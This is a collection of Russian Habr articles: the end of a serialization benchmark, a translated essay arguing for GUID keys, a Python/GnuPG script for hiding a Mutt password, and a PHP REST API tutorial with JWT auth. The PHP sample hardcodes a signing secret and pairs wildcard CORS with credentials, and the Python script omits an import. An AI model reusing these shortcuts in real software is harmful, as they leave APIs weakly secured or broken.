5. Protobuf так же, как и thrift упаковывает мета информацию, но делает это несколько более оптимизировано. Также разница в самом алгоритме упаковки и распаковки позволяет этому формату в некоторых случаях работать быстрее остальных;
6. Msgpack работает довольно шустро. Одной из причин скорости является тот факт, что никакая дополнительная мета информация не сериализуется. Это одновременно и хорошо, и плохо: хорошо потому, что занимает мало место на диске и не требует дополнительного времени на запись, плохо потому, что в общем-то ничего о структуре записи неизвестно, поэтому определение того, как нужно упаковывать и распаковывать то или иное значение выполняется для каждого поля каждой записи.
Что касается размеров выходных файлов, то наблюдения вполне однозначные:
1. Самый маленький файл для числового набора получился у msgpack;
2. Самый маленький файл для строкового набора оказался у исходного файла :) Если не считать исходный файл, то победил avro с небольшим отрывом от msgpack и protobuf;
3. Самый маленький файл для смешанного набора снова получился у msgpack. Однако отрыв не такой заметный и совсем рядом находятся avro и protobuf;
4. Самые большие файлы получились у json. Однако необходимо сделать важное замечание — json текстовый формат и сравнивать его с бинарными по объему (да и по скорости сериализации) не совсем корректно;
5. Самый большой файл для числового набора получился у стандартной java сериализации;
6. Самый большой файл для строкового набора получился у thrift binary;
7. Самый большой файл для смешанного набора получился у thrift binary. Следом за ним идет стандартная java сериализация.
### Анализ форматов
Теперь давайте попробуем разобраться в полученных результатах на примере сериализации строки длиной 36 символов (UUID) без учета разделителей между записями, различных идентификаторов начала и конца записи — только запись 1 строкового поля, но с учетом таких параметров, как, например, тип и номер поля. Рассмотрение сериализации строки вполне покрывает сразу несколько аспектов:
1. Сериализация чисел (в данном случае — длина строки)
2. Сериализация строк
Начнем с avro. Так как все поля имеют тип `Option`, то схема для таких полей будет следующей: `union: [“null”, “string”]`. Зная это, можно получить следующий результат:
1 байт на указание типа записи (null или string), 1 байт на длину строки (1 байт потому, что avro использует [variable-length](http://lucene.apache.org/core/3_5_0/fileformats.html#VInt) для записи целых чисел) и 36 байт на саму строку. Итого: 38 байт.
Теперь рассмотрим msgpack. Msgpack для записи целых чисел использует похожий на [variable-length](http://lucene.apache.org/core/3_5_0/fileformats.html#VInt) подход: [spec](https://github.com/msgpack/msgpack/blob/master/spec.md#str-format-family). Попробуем посчитать, сколько фактически уйдет на запись строкового поля: 2 байта на длину строки (так как строка > 31 байта, то потребуется 2 байта), 36 байт на данные. Итого: 38 байт.
Protobuf для кодирования чисел также использует [variable-length](http://lucene.apache.org/core/3_5_0/fileformats.html#VInt). Однако помимо длины строки protobuf добавляет еще байт с номером и типом поля. Итого: 38 байт.
Thrift [binary](https://github.com/apache/thrift/blob/master/doc/specs/thrift-binary-protocol.md) не использует никаких оптимизация для записи длины строки, зато вместо 1 байта на номер и тип поля у thrift уходит 3. Поэтому получается следующий результат: 1 байт на номер поля, 2 байта на тип, 4 байта на длину строки, 36 байт на строку. Итого: 43 байта.
Thrift [compact](https://github.com/apache/thrift/blob/master/doc/specs/thrift-compact-protocol.md) в отличии от binary использует [variable-length](http://lucene.apache.org/core/3_5_0/fileformats.html#VInt) подход, для записи целых чисел и дополнительно по возможности использует сокращенную запись хедера поля. Исходя из этого, получаем: 1 байт на тип и номер поля, 1 байт на длину, 36 байт на данные. Итого: 38 байт.
Java сериализации потребовалось 45 байт на запись строки, из которых 36 байт — строка, 9 байт — 2 байта на длину и 7 байт на некоторую дополнительную информацию, расшифровать которую мне не удалось.
Остались только avro, msgpack, protobuf и thrift compact. Каждый из этих форматов потребует 38 байт на запись utf-8 строки длиной 36 символов. Почему же тогда при упаковке 100k строковых записей меньший объем получился у avro, хотя вместе с данными записалась и не сжатая схема? У avro отрыв небольшой от остальных форматов и причина этого отрыва в отсутствии дополнительных 4 байт на упаковку длины всей записи. Дело в том, что ни msgpack, ни protobuf, ни thrift не обладают специальным разделителем записей. Поэтому, чтобы я мог корректно распаковать записи обратно, мне необходимо было знать точный размер каждой записи. Если бы не этот факт, то, с большой вероятностью, меньший по объему файл был бы у msgpack.
Для числового набора данных главной причиной победы msgpack оказалось отсутствие информации о схеме в упакованных данных и то, что данные были разреженными. У thrift и protobuf даже на пустые значения уйдет больше 1 байта из-за необходимости упаковки информации о типе и номере поля. Avro и msgpack требуют ровно 1 байт на запись пустого значения, но avro, как уже было упомянуто, сохраняет вместе с данными схему.
Msgpack также упаковал в меньший по объему файл и смешанный набор, который то же был разреженным. Причинами этому являются все те же факторы.
Таким образом, получается, что упакованные в msgpack данные занимают меньше всего места. Это вполне справедливое утверждение — не зря в качестве формата хранения данных для tarantool и aerospike был выбран именно msgpack.
Заключение
----------
После проведенного тестирования я могу сделать следующие выводы:
1. Получить стабильные результаты бенчмарков сложно;
2. Выбор формата — это компромисс между скоростью сериализации и размером выходных данных. В то же время, не стоит забывать о таких важных параметрах как удобство использования формата и возможность эволюции схемы (часто эти параметры играют доминирующую роль).
Исходный код можно посмотреть здесь: [github](https://github.com/Gr1f0n6x/SerializationBenchmark) | https://habr.com/ru/post/458026/ | null | ru | null |
# Евангелие от GUID
Разбираясь с новым Visual C# 2008 (он настолько бесплатный для начинающих разработчиков, что я не удержался), нашел новое для себя слово в науке и технике — GUID.
Привожу пример интересной, как мне кажется, статьи, призывающей использовать глобально-уникальные идентификаторы во всех сферах народного хозяйства. Статья, в основном про .NET и прочий микрософт, но, думаю, будет полезна многим здесь, ибо реализации GUID есть почти во всех современных БД и языках (включая mySQL и PHP ;).
ПС: Если будет интересно, то выложу перевод второй части, где автор отвечает на комменты к первой статье.
Евангелие от GUID
=================
В Евангелие от GUID есть только одна заповедь:
I. Всегда используй GUID для уникальной идентификации строки таблицы.
=====================================================================
При приеме новых сотрудников в команду это — одно из первых правил, которым я их обучаю. Почти всегда поначалу они смотрят на меня с видом щенка с торчащими ушами и склоненной набок головой, как бы говоря «как это?»
Поэтому я показываю им, что в каждой таблице есть поле, являющееся уникальным идентификатором, а в большинстве случаев и первичным ключом и, обычно, кластеризованным индексом. Например, в таблице Employee у нас будет поле EmployeeGUID, уникальный идентификатор и кластеризованный первичный ключ. Тут обычно я получаю в ответ взгляд «опа, мой новый босс идиот, но я не хочу, чтобы он знал, что я так думаю». Потом приходят вопросы и комментарии вида «но я обычно делаю так»:1. Я использую int
2. Я не пользуюсь GUID, потому что они такие большие
3. Разве вы не понимаете, как трудно искать запись по такому id, в случае с int это гораздо проще
4. Ну вы же не станете их использовать в таблице, реализующей отношение многие-ко-многим?
5. Что произойдет, если GUID'Ы закончатся?
6. Я не уверен, что они не будут повторяться
7. Я никогда ни о чем подобном не слышал, поэтому, скорее всего это плохая мысль.
8. А это не ухудшит производительность?
И начинается моя миссия по обращению. У меня хорошая статистика по обращению «думающих» людей, поэтому призываю вас прочитать эту статью и, возможно, вы тоже станете верующим в GUID!
1) Мне не нужно совершать дополнительных выборок, а это — увеличение производительности!
----------------------------------------------------------------------------------------
Существует множество причин для использования GUID в качестве первичного ключа. Главная для меня напрямую связана с тем, как я строю объектные модели. Я предпочитаю создавать «new» экземпляр объекта без совершения выборки. Так, создавая объект Order (заказ) я не буду обращаться к базе данных для получения OrderID (OrderGUID в моем мире), как я бы делал в случае с int OrderID. На этом уровне еще не слишком впечатляет, да? Подумайте вот о чем: я создаю объект Order с OrderGUID, потом объекты OrderLineItem (строки заказа) с OrderLineItemGUID без ЕДИНОГО ~~разрыва~~ обращения к БД. В случае с int я бы сделал 11 обращений.
2) Объединение данных настолько просто, что получается даже у Мак-разработчиков!
--------------------------------------------------------------------------------
Следующая причина всегда использовать GUID — объединение данных (merging), оказывавшееся необходимым бессчетное количество раз. До того как я увидел свет, я тоже использовал int или что-то еще, чтобы сделать строку уникальной, но когда мне приходилось сливать данные из раных источников, я делел специальные преобразования.
Представьте себе:
`DB1 (Клиент 1):
Order (таблица заказов)
OrderID = 1
CustomerID = 1
DB2 (Клиент 2):
Order
OrderID = 1
CustomerID = 1`
Если Клиент 1 приобретает Клиента 2 и мне нужно слить их данные в единую БД, мне придется поменять чьи-то OrderID и CustomerID на какие-нибудь int значения, которые не используюся, после чего сделать update большому количеству записей, а, возможно и поплясать с бубном и с опорными значениями (seed values). Умножьте это на десятки таблиц, учтите миллионы строк данных, и у бедитесь, что передо мной стоит ДЕЙСТВИТЕЛЬНО сложная задача, которая потребует дофига тестирования после написания SQL и/или кода.
Однако, если я следую Евангелию от GUID:
`DB1 (Клиент 1):
Order (таблица заказов)
OrderID: {C290A815-BAAA-4455-82EA-F18F5D0CEF2E}
CustomerID: {52335ABA-2D8B-4892-A8B7-86B817AAC607}
DB2 (Клиент 2):
Order
OrderID: {79E9F560-FD70-4807-BEED-50A87AA911B1}
CustomerID: {60FA3045-BAE8-4526-87A2-DF22ED5F093B}`
В этом случае, все, что нужно сделать сводится к обычной вставке всех строк из одной БД в другую. Никаких преобразований, никаких замороченных тестов, просто, удобно и действенно. Недавно мне пришлось проделать эту операцию с БД двух моих клиентов AT&T и Cingular. Все «преобразование» заняло 45 минут.
Другой простой пример: представьте, что ваши клиенты часто работают удаленно в оффлайне, и вам приходится закачивать их данные в общую БД при подключении. Теперь это проще, чем у ребенка конфету отнять… © Если вы верите в GUID. Вы можете легко таскать данные между базами.
3) Типо-независимость
---------------------
Третья причина, по которой я верю в GUID — это то, что я называю «типо-независимость» (Type Ignorance — это игра слов, построенная на Type Inference В .NET 3.5). Суть ее в том, что мне не важно, как хранятся данные в каждой таблице БД. Представьте, что у нас есть продукт, находящийся в коммерческом использовании уже некоторое время. В БД есть таблицы Customer, Order, OrderLineItem, Product (Товар) и Vendor (Поставщик). Теперь выяснилось, что нужно добавить «заметки» к каждому виду объекта. Для этього достаточно просто создать таблицу
| | |
| --- | --- |
| | **Notes** |
| | NoteGUID | Unique Identifier |
| | ParentGUID | Unique Identifier |
| | Note | VarChar(500) |
Теперь можно вставлять заметки в эту таблицу, используя GUID самих объектов в ParentGUID. Для получения всех заметок по конкретному товару совершается простейшая выборка из notes по его GUID.
Например, чтобы получить все заметки по поставщику, достаточно создать простую связь (join) Note.ParentGUID к Vendor.VendorGUId. Не нужны никакие индикаторы типов, не нужно выдумывать, какие таблицы связывать, не нужно кучи ссылочных таблиц, чтобы понять с каким типом объекта связана строка.
Вы удивитесь, узнав насколько часто используется этот небольшой прием. Недавно мы добавили «аудит» к одному из наших приложений, в котором хотели выяснить кто что удалял, добавлял или изменял в БД. Мы просто добавили несколько строчек кода к методу DataContext SubmitChanges() (мы используем только LINQ в этом приложении) для создания соответствующей записи в таблице аудита. При создании нового объекта или типа в приложении запись в эту таблицу происходит автоматически, что позволяет нам не париться написанием специального «аудиторского» кода при добавлении новых типов данных в приложении.
4) Удар, удар, еще удар...(с)
-----------------------------
Существует много менее очевидных причин для использования GUID, но есть одна, которую я не предвидел заранее и за которую я благодарю GUID, ибо он и только он спас миллионы долларов моему клиенту… да, я сказал МИЛЛИОНЫ!
Я разрабатывал систему управления автоматическими выплатами за размещение рекламы для крупного клиента. Они должны были иметь возможность по нажатию кнопки оплачивать счета общей суммой в миллионы долларов. В двух словах, по нажатию кнопки наша система генерирует файл с очередью и отправляет его их платежному серверу, который сгенерирует чеки… и денежки уйдут. Конечно, я использовал GUID, чтобы идентифицировать все и вся, поэтому когда платежный сервер генерировал файл сверки, я легко мог прогнать его по своей базе.
На нашем сайте была развернута рабочая БД клиента и тестовая БД, слегка устаревшая копия рабочей (на пару месяцев). В процессе тестирования кто-то на их стороне увидел один из наших тестовых файлов с очередью оплат и, не долго думая, скормил их платежному серверу. Ну, дальше вы поняли… Клиент заплатил куче действительных поставщиков контента дважды (один раз по реальному запросу, второй раз — по тестовому), а также еще и не совсем нормальным поставщикам (например тем, что уже не размещали рекламу, ведь тестовая БД устарела на пару месяцев). Вот так, без каких-либо косяков с моей стороны, я получил ужасную помойку в данных… ну по крайней мере так думал мой клиент. Однако, поскольку все мои записи о выплатах имели GUID, я мог легко выделить те записи, что пришли из тестовой базы, чтобы отменить платежи по ним. Представьте, если бы я использовал INT, у меня не было бы способа узнать из какой базы пришел запрос PaymentID = 1000, например.
Ну так как же это помогло спасти миллионы? Просто… умножьте тысячи запросов на штраф за отмену платежа ($20-30). И еще на три, поскольку такая ошибка повторилась три раза!
Ну а есть ли недостатки у GUID?
-------------------------------
Если кратко, то да, есть. Однако они, настолько незначительны, что не могут изменить моего мнения. Наиболее очевидный из них — это написание SQL запросов вручную (кгда надо что-то найти).
`SELECT * FROM ORDER WHERE ORDERID = 12`
гораздо легче, чем
`SELECT * FROM ORDER WHERE ORDERGUID = ‘{45F57B42-38A4-46ce-A180-6DE0E7051178}'`
Еще один недостаток — небольшое снижение производительности у связей, построенных на базе gUID, по сравнению с INT. Но по моему опыту даже при использовании таблиц с многомиллионным количеством строк, это никогда не становилось проблемой. Несколько миллисикунд задержки — небольшая цена за все прелести GUIDа.
Опробуйте эту технику в каком-нибудь небольшом проекте, особенно если все еще настроены скептично. Думаю, она окажется более полезной чем вы могли мечтать.
— Published Sunday, November 04, 2007 10:35 PM by wwright
Filed under: .NET, ASP.NET, Tips and Tricks, LINQ, SQL Server | https://habr.com/ru/post/31632/ | null | ru | null |
# Безопасный ввод и сохранение зашифрованных паролей в конфигах Linux: пишем скрипт на Python
Как вывести свою систему на новый уровень безопасности с модулями python-gnupg и getpass4.
***Изображение :*** *freeGraphicToday, via Pixabay. CC0.*
В условиях растущих требований к безопасности создание и хранение паролей может вызвать вопросы не только для пользователей, но и у разработчиков и системных администраторов. Специалисты и другие осведомлённые люди знают, что пароли нужно хранить в зашифрованном виде. Уже на этапе ввода символы пароля нужно скрывать от любых глаз (даже от того человека, который его вводит). Всегда ли мы можем выполнить хотя бы эти требования?
Я единственный пользователь своего ноутбука, а на его борту крутится ОС семейства Linux. Поэтому меня не беспокоят пользователи, которые могут случайно или неслучайно посмотреть мои конфигурационные файлы, работая на этом же компьютере. Я решил заморочиться и повысить безопасность своего личного ноутбука, и на то есть свои причины. Да, я шифрую свой домашний каталог, но как только вхожу в систему, любой пароль, хранящийся в виде простого текста в файле конфигурации, потенциально может быть уязвим для чересчур любопытных глаз.
К тому же, я использую почтовый клиент [Mutt](http://www.mutt.org/). Он позволяет мне читать и составлять электронные письма прямо в Linux-терминале. Мне удобно, мне нравится. Правда, ему нужно, чтобы я хранил пароль в файле конфигурации (.mutt), либо всё время вводил пароль в интерактивном режиме. Поэтому я ограничил права доступа к моему конфигурационному файлу Mutt, чтобы его мог видеть только я.
Но есть ещё один важный момент: я периодически пишу технические статьи, составляю туториалы, помогаю людям в сообществе и публикую много своего кода в общедоступных репозиториях, публикую скриншоты своего экрана, часто показываю что-то на примере своей рабочей системы. Если по недосмотру меня угораздит засветить в Интернете (или где-то ещё) данные (и в том числе пароли) из моих конфигурационных файлов, это бросит неприятную тень на мою репутацию и безопасность. Так что надо подстраховаться.
Ну и, если вдруг злоумышленник завладеет моим ноутбуком или каким-то другим образом получит доступ в систему, он не сможет получить мой пароль без боя, просто запустив **cat** для просмотра логов и конфигов.
Поиск решения задачи
--------------------
Я решил, что лучший способ защитить мой пароль в Mutt — ввести пароль с клавиатуры, сохранить его в зашифрованном файле GPG, написать на Python скрипт расшифровки для моего GPG-пароля, ну и заодно обеспечить передачу пароля Mutt в скрипт **offlineimap**, который я использую для локальной синхронизации моего ноутбука с почтовым сервером.
Из подзаголовка статьи ясно, что я буду использовать модули **python-gnupg и getpass**. Модуль Python **python-gnupg** — это обёртка для инструмента шифрования gpg. Учтите, python-gnupg не следует путать с модулем под названием **gnupg**. GnuPG ([GPG](http://gnupg)) — это утилита шифрования для Linux, и я использую её с 2009 года или около того. С ней я чувствую себя комфортно и верю в её безопасность.
Получить пользовательский ввод с помощью Python довольно просто. Вы вызываете **input**, и всё, что введёт пользователь сохраняется в переменной:
```
print("Enter password: ")
myinput = input()
print("You entered: ", myinput)
```
И в этом случае есть одна громадная проблема: когда я ввожу пароль в терминале, всё, что я набираю, видно всем, кто смотрит через моё плечо или просматривает историю моего терминала:
```
$ ./test.py
Enter password: my-Complex-Passphrase
```
Написание скрипта с python-gnupg и getpass
------------------------------------------
Как это часто бывает, ничего самому писать не надо, потому что уже существует модуль Python, который позволяет решить проблему. Это модуль **getpass4**. С точки зрения пользователя он ведёт себя точно так же, как любое стандартное приглашение к вводу, за исключением того, что не отображает введённые символы.
Установим оба модуля с помощью **pip**:
```
$ python -m pip install --user \
python-gnupg getpass4
```
У меня получился вот такой скрипт для создания пароля с невидимым вводом и расшифровкой:
----------------------------------------------------------------------------------------
```
#!/usr/bin/env python
# by Seth Kenlon
# GPLv3
# install deps:
# python3 -m pip install --user python-gnupg getpass4
import gnupg
import getpass
from pathlib import Path
def get_api_pass():
homedir = str(Path.home())
gpg = gnupg.GPG(gnupghome=os.path.join(homedir,".gnupg"), use_agent=True)
passwd = getpass.getpass(prompt="Enter your GnuPG password: ", stream=None)
with open(os.path.join(homedir,'.mutt','pass.gpg'), 'rb') as f:
apipass = (gpg.decrypt_file(f, passphrase=passwd))
f.close()
return str(apipass)
if __name__ == "__main__":
apipass = get_api_pass()
print(apipass)
```
Сохраните файл как password\_prompt.py, если хотите попробовать скрипт у себя. Если вместе с ним вы хотите использовать offlineimap, укажите в конфигурационном файле **.offlineimaprc** имя и путь к скрипту с паролем (у меня это **~/.mutt/password\_prompt.py**). Правда, там нужно сделать ещё кое-что, но об этом позже.
Тестирование скрипта с gpg
--------------------------
Надеюсь, у вас уже установлен gpg, так как сейчас мы будем создавать зашифрованный файл пароля и тестировать скрипт.
Шифруем:
```
$ echo "hello world" > pass
$ gpg --encrypt pass
$ mv pass.gpg ~/.mutt/pass.gpg
$ rm pass
```
Запускаем созданный ранее скрипт:
---------------------------------
```
$ python ~/.mutt/password_prompt.py
Enter your GPG password:
hello world
```
Ура! При вводе ничего не отображается, но если вы правильно введёте пароль (нужно ввести **hello world**), на следующей строке вы увидите тестовое сообщение «hello world». Оно же и является паролем, полученным в результате расшифровки файла **~/.mutt/pass.gpg**. Значит, скрипт работает правильно.
Интеграция с offlineimap
------------------------
Я выбрал Python, потому что знал, что offlineimap может вызывать скрипты, написанные на Python. Если вы уже пользуетесь offlineimap, вы поймете, что единственная необходимая «интеграция» сводится к изменению двух строк в вашем файле .offlineimaprc (точнее — к добавлению одной строки и изменению другой).
Сначала добавьте строку, ссылающуюся на файл нашего скрипта:
```
pythonfile = ~/.mutt/password_prompt.py
```
Теперь вместо пароля в строке с remotepasseval после знака «=» вызовите функцию get\_api\_pass(), которая живёт в скрипте password\_prompt.py:
```
remotepasseval = get_api_pass()
```
Всё! Теперь никто не сможет прочитать пароль из вашего конфигурационного файла!
Безопасность даёт свободу
-------------------------
Иногда кажется, что у меня паранойя: я много думаю о тонкостях обеспечения безопасности на моём личном компьютере. Действительно ли SSH конфиг должен иметь разрешения **chmod 600**? Действительно ли имеет значение, что пароль электронной почты находится в конфигурационном файле, спрятанном в скрытой папке, которая называется, как ни странно, **.mutt**? Хотя написать подобный скрипт на Python можно и для других конфигурационных файлов.
Зная, что в моих файлах конфигурации отсутствуют незашифрованные конфиденциальные данные, мне намного проще публиковать файлы в общедоступных репозиториях Git, копировать и вставлять сниппеты на форумах и делиться своими знаниями в форме актуальных, рабочих файлов конфигурации. С этой точки зрения, повышение уровня безопасности облегчило мне жизнь. А с таким количеством Python-модулей на все случаи жизни, сделать это было достаточно легко.
---
[Аренда облачного сервера](https://macloud.ru/cloud-vps) с быстрыми NVMе-дисками и посуточной оплатой у хостинга Маклауд.
[](https://macloud.ru/vps-vds&utm_source=habr&utm_medium=perevod&utm_campaign=grigri) | https://habr.com/ru/post/566748/ | null | ru | null |
# Простое REST api для сайта на php хостинге
Иногда бывает необходимо развернуть не большое рест апи для своего сайта, сделанного по технологии СПА (Vue, React или др.) без использования каких-либо фреймворков, CMS или чего-то подобного, и при этом хочется воспользоваться обычным php хостингом с минимальными усилиями на внедрение и разработку. При этом там же желательно разместить и сам сайт СПА (в нашем случае на vue).
Использование php позволяет для построения ендпоинтов апи использовать даже статические php файлы, размещаемые просто в папках на хостинге, которые предоставляют результат при непосредственном обращении к ним. И хотя, видимо в своё время, такой подход послужил широкому распространению php мы рассмотрим далее более программистский подход к созданию апи, который очень похож на используемый в библиотеке Node.js Express и поэтому интуитивно понятен, и прост для освоения. Для это нам понадобиться библиотека "pecee/simple-router".
Далее мы предполагаем, что у вас уже есть среда для запуска кода локально (LAMP, XAMP, docker) или как-то иначе и у вас настроено перенаправление всех запросов на индексный файл (index.php). Кроме, того мы предполагаем, что вы можете устанавливать зависимости через composer.
### Структура проекта
На Рис.1. представлена общая структура проекта. Точкой входа является файл index.phpв папке web. Сама папка webявляется публично доступной папкой, и должна быть указана в настройках сервера как корневая. В папке configбудут находится настройки роутов наших ендпоинтов. В папке controllerбудут обработчики ендпоинтов маршрутов. В папке middlewaresмы разместим промежуточные обработчике роутов для выполнения авторизации перед началом основного кода ендпоинта. В папках exceptions, views и models будут соответственно исключения, html шаблон и объектные модели. Полный код проекта [тут](https://github.com/i-luka/api-php/tree/revision1).
### Инсталляция и запуск
Для работы необходимо инсталлировать следующее содержимое composer.json (composer install в корне проекта).
```
// composer.json
{
"require": {
"pecee/simple-router": "*",
"lcobucci/jwt": "^3.4",
"ext-json": "*"
},
"autoload": {
"psr-4": {
"app\\": ""
}
}
}
```
Обратите внимание, что ‘app\’ объявлено как префикс для namespace. Данный префикс будет использоваться при объявлении неймспейсов классов.
Запуск всего остального кода происходит вызовом статического метода Router::route() в файле index.php
```
php
//index.php
use Pecee\SimpleRouter\SimpleRouter as Router;
require_once __DIR__ . '/../vendor/autoload.php';
require_once (__DIR__ . '/../config/routes.php');
Router::start();</code
```
Так же тут подключаются роуты определённые в файле config/routes.php.
### Подключение SPA на Vue.js 2 к проекту на php
Если вы развёртываете сборку vue отдельно от апи, то этот раздел можно пропустить.
Рассмотрим теперь то, как подключить проект на vue в данной конфигурации с использованием соответствующих маршрутов. Для этого содержимое сборки необходимо поместить в папку web. В файле маршрутов (‘/config/routes.php’) прописываем два правила:
```
php
use Pecee\{
SimpleRouter\SimpleRouter as Router
};
Router::setDefaultNamespace('app\controllers');
Router::get('/', 'VueController@run'); // правило 1
Router::get('/controller', 'VueController@run')
-setMatch('/\/([\w]+)/'); // правило 2
```
Для пустого (корневого) маршрута '/' вызывается метод run класса VueController. Второе правило указывает что для любого явно незаданного пути будет тоже вызываться VueController, чтобы обработка маршрута происходила на стороне vue. Это правило всегда должно быть последним, чтобы оно срабатывало только тогда, когда другие уже не сработали. Метод run представляет собой просто рендеринг файла представления с помощью метода renderTemplate(), определённого в родительском классе контроллера. Здесь мы также устанавливаем префикс для классов методы которых используются в роутах с помощью setDefaultNamespace.
```
php
namespace app\controllers;
class VueController extends AbstractController
{
public function run()
{
return $this-renderTemplate('../views/vue/vue_page.php');
}
}
```
В свою очередь представление vue\_page.php тоже просто отрисовка индексного файла сборки vue.
```
php
// vue_page.php
include (__DIR__ . '/../../web/index.html');
</code
```
Итого мы подключили проект на vue к проекту на php, который уже готов к развертыванию на хостинге. Данный подход можно использовать для любых проектов на php. Осталось только рассмотреть, что собой представляет родительский класс AbstractController.
```
php
namespace app\controllers;
use Pecee\Http\Request;
use Pecee\Http\Response;
use Pecee\SimpleRouter\SimpleRouter as Router;
abstract class AbstractController
{
/**
* @var Response
*/
protected $response;
/**
* @var Request
*/
protected $request;
public function __construct()
{
$this-request = Router::router()->getRequest();
$this->response = new Response($this->request);
}
public function renderTemplate($template) {
ob_start();
include $template;
return ob_get_clean();
}
public function setCors()
{
$this->response->header('Access-Control-Allow-Origin: *');
$this->response->header('Access-Control-Request-Method: OPTIONS');
$this->response->header('Access-Control-Allow-Credentials: true');
$this->response->header('Access-Control-Max-Age: 3600');
}
}
```
В конструкторе класса AbstractController определяются поля $request и $response. В $request хранится распарсенный классом Pecee\Http\Router запрос. А $response будет использоваться для создания ответов на запросы к апи. Определённый здесь метод renderTemplate используется для рендеринга представлений (html страниц). Кроме того, здесь определён метод устанавливающий заголовки для работы с политикой CORS. Его следует использовать если запросы к апи происходят не с того же адреса, т.е. если сборка vue запускается на другом веб-сервере. Теперь перейдём непосредственно к созданию апи.
### Создание REST API эндпоинтов
Для работы с апи нам нужно произвести дополнительную обработку входящего запроса, потому что используемая библиотека не производит парсинг сырых данных. Для этого создадим промежуточный слой ProccessRawBody и добавим его как middleware в роуты для запросов к апи.
```
php
namespace app\middlewares;
use Pecee\Http\Middleware\IMiddleware;
use Pecee\Http\Request;
class ProccessRawBody implements IMiddleware
{
/**
* @inheritDoc
*/
public function handle(Request $request): void
{
$rawBody = file_get_contents('php://input');
if ($rawBody) {
try {
$body = json_decode($rawBody, true);
foreach ($body as $key = $value) {
$request->$key = $value;
}
} catch (\Throwable $e) {
}
}
}
}
```
Здесь мы считываем из входного потока и помещаем полученное в объект $request для дальнейшего доступа из кода в контроллерах. ProccessRawBody реализует интерфейс IMIddleware обязательный для всех middleware.
Теперь создадим группу роутов для работы с апи использующее данный промежуточный слой.
```
php
// routes.php
Router::group([
'prefix' = 'api/v1',
'middleware' => [
ProccessRawBody::class
]
], function () {
Router::post('/auth/sign-in', 'AuthController@signin');
Router::get('/project', 'ProjectController@index');
});
```
У этой группы определён префикс «api/v1» (т.е. полный путь запроса должен быть например '/api/v1/auth/sign-in'), и ранее определённое нами middleware ProccessRawBody::**class**, так что в контроллерах наследованных от AbstractController доступны входные переменные через $request. AuthController рассмотрим чуть позже сейчас же мы уже можем воспользоваться методами не требующими авторизации, как например ProjectController::index.
```
php
namespace app\controllers;
class ProjectController extends AbstractController
{
public function index():string
{
// Какая-то логика для получения данных тут
return $this-response->json([
[
'name' => 'project 1'
],
[
'name' => 'project 2'
]
]);
}
}
```
Как видим, на входящий запрос, в ответе возвращаются данные о проектах.
Остальные роуты создаются аналогичным образом.
### Авторизация по JWT токену
Теперь перейдём к роутам требующим авторизации. Но перед этим реализуем вход и получение jwt-токена. Для создания токена и его валидации мы будем использовать библиотеку “ lcobucci/jwt” Всё это будет у нас выполнятся по роуту определённому ранее '/auth/sign-in'. Соответственно в AuthController::singin у нас прописана логика выдачи jwt-токена после авторизации пользователя.
```
php
namespace app\controllers;
use app\models\Request;
use ArgumentCountError;
use DateTimeImmutable;
use Lcobucci\JWT\Configuration;
use Lcobucci\JWT\Signer\Hmac\Sha256;
use Lcobucci\JWT\Signer\Key\InMemory;
class AuthController extends AbstractController
{
public function signin()
{
// Тут код авторизующий пользователя
$config = Configuration::forSymmetricSigner(
new Sha256(),
InMemory::plainText('секретный_ключ')
);
$now = new DateTimeImmutable();
$token = $config-builder()
// Configures the issuer (iss claim)
->issuedBy('http://example.com')
// Configures the audience (aud claim)
->permittedFor('http://example.org')
// Configures the id (jti claim)
->identifiedBy('4f1g23a12aa')
// Configures the time that the token was issue (iat claim)
->issuedAt($now)
// Configures the expiration time of the token (exp claim)
->expiresAt($now->modify('+2 minutes'))
// Configures a new claim, called "uid"
->withClaim('uid', $user->id)
// Configures a new header, called "foo"
->withHeader('foo', 'bar')
// Builds a new token
->getToken($config->signer(), $config->signingKey());
return $this->response->json([
'accessToken' => $token->toString()
]);
}
}
```
Здесь используется симметричная подпись для jwt с использованием секретного ключа 'секретный\_ключ'. По нему будет проверятся валидность токена при запросах к апи. Ещё можно использовать асимметричную подпись с использованием пары ключей.
Можно также отметить, что можно создавать сколько угодно клаймов ->withClaim('uid', $user->id) и сохранять там данные которые можно будет потом извлекать из ключа. Например, id пользователя для дальнейшей идентификации запросов от этого пользователя. Токен выдан на 2 минуты (->expiresAt($now->modify('+2 minutes'))) после чего он становится не валидным. ->issuedBy и ->permittedFor используются для oath2.
Теперь создадим группу роутов защищённую авторизацией. Для этого определим для группы роутов промежуточный слой Authenticate::**class**.
```
php
//routes.php
Router::group([
'prefix' = 'api/v1',
'middleware' => [
ProccessRawBody::class
]
], function () {
Router::post('/auth/sign-in', 'AuthController@signin');
Router::get('/project', 'ProjectController@index');
Router::group([
'middleware' => [
Authenticate::class
]
], function () {
// authenticated routes
Router::post('/project/create', 'ProjectController@create');
Router::post('/project/update/{id}', 'ProjectController@update')
->where(['id' => '[\d]+']);
});
});
```
Как видите, группа с авторизацией объявлена внутри группы с префиксом “api/v1 ”. Рассмотрим роут '/project/update/{id}'. Здесь объявлен параметр id который определён как число. В метод update, контроллера Projectcontroller будет передана переменная $id содержащая значение этого параметра. Ниже приведён пример запроса и ответ.
```
php
namespace app\controllers;
class ProjectController extends AbstractController
{
/**
* post /api/v1/project/update/3
* body:
{
"project": {
"prop": "value"
}
}
*/
public function update(int $id): string
{
// код обновляющий проект
return $this-response->json([
[
'response' => 'OK',
'request' => $this->request->project,
'id' => $id
]
]);
}
}
```
Вернёмся теперь к промежуточному слою Authenticate::class с помощью которого происходит авторизация запросов к апи.
```
php
namespace app\middlewares;
use app\exceptions\NotAuthorizedHttpException;
use DateTimeImmutable;
use Lcobucci\Clock\FrozenClock;
use Lcobucci\JWT\Configuration;
use Lcobucci\JWT\Signer\Hmac\Sha256;
use Lcobucci\JWT\Signer\Key\InMemory;
use Lcobucci\JWT\Validation\Constraint\SignedWith;
use Lcobucci\JWT\Validation\Constraint\ValidAt;
use Pecee\Http\Middleware\IMiddleware;
use Pecee\Http\Request;
class Authenticate implements IMiddleware
{
public function handle(Request $request): void
{
$headers = getallheaders();
$tokenString = substr($headers['Authorization'] ?? '', 7);
$config = Configuration::forSymmetricSigner(
new Sha256(),
InMemory::plainText('секретный_ключ')
);
$token = $config-parser()->parse($tokenString);
if (
!$config->validator()->validate(
$token,
new SignedWith(
new Sha256(),
InMemory::plainText('секретный_ключ')
),
new ValidAt(new FrozenClock(new DateTimeImmutable()))
)
) {
throw new NotAuthorizedHttpException('Токен доступа не валиден или просрочен');
}
$userId = $token->claims()->get('uid');
$request['uid'] = $userId;
}
}
```
